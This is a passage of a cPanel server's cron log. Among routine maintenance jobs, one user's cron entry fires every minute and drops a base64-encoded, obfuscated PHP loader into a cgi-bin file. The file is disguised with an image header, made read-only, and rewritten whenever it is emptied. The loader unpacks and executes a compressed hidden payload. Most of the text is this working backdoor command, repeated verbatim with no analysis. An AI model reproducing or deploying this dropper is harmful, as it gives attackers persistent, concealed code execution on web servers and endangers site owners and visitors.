9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:12:01 server CROND[27417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:12:01 server CROND[27418]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 22:13:01 server CROND[27515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:14:01 server CROND[27569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:15:01 server CROND[27735]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 22:15:01 server CROND[27736]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:15:01 server CROND[27734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:15:01 server CROND[27737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:16:01 server CROND[27854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:17:01 server CROND[27902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:18:01 server CROND[28007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:19:01 server CROND[28062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:20:01 server CROND[28214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:20:01 server CROND[28217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:20:01 server CROND[28216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:20:01 server CROND[28218]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 22:20:01 server CROND[28215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 22:21:01 server CROND[28337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:22:01 server CROND[28385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:23:01 server CROND[28442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:24:01 server CROND[28497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:25:01 server CROND[28557]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:25:01 server CROND[28559]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:25:01 server CROND[28560]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
